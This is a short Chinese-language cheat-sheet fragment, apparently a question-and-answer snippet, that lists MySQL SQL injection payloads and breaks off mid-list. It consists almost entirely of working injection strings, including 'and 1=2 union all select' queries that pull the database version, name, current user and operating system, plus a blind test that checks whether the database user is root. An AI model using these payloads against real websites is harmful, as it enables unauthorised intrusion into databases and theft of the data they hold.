union select 1,2,3,4,5,6,7,8,9,10,11 from 的意思?答:and 1=2 union all select version() / and 1=2 union all select database() / and 1=2 union all select user() / 操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user / 数据库权限:and ord(mid(user(),1,1))=114 /* 返回正常说明为root ...